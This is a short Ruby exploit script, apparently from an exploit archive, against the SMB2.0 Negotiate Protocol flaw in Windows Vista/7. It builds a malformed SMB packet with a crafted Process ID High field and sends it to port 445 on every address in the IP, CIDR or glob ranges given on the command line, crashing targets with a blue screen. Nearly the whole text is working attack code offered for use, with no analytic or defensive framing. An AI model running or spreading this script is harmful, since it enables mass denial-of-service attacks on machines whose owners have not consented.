Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. now with IP ranges

smb_spray.rb

#!/usr/bin/env ruby

require 'ronin/extensions/ip_addr'
require 'ronin/network/tcp'

payload = [
  "\x00\x00\x00\x90", # Begin SMB header: Session message
  "\xff\x53\x4d\x42", # Server Component: SMB
  "\x72\x00\x00\x00", # Negociate Protocol
  "\x00\x18\x53\xc8", # Operation 0x18 & sub 0xc853
  "\x00\x26", # Process ID High: --> :) normal value should be "\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe",
  "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54",
  "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31",
  "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00",
  "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57",
  "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61",
  "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c",
  "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c",
  "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e",
  "\x30\x30\x32\x00"
].join

unless ARGV.length > 0
  puts "usage: [IPv4 | IPv6 | CIDR Range | Globbed Range] ..."
  puts "examples:"
  puts "  #{$0} 10.1.1.1"
  puts "  #{$0} 10.1.1.1/24"
  puts "  #{$0} 10.1.*.1-5"
  exit -1
end

ARGV.each do |range|
  IPAddr.each(range) do |ip|
    begin
      puts "[-] Sending SMB payload to #{ip} ..."

      Net.tcp_connect_and_send(payload,ip,445)
    rescue
      puts "[!] Skipping #{ip}"
      next
    end
  end
end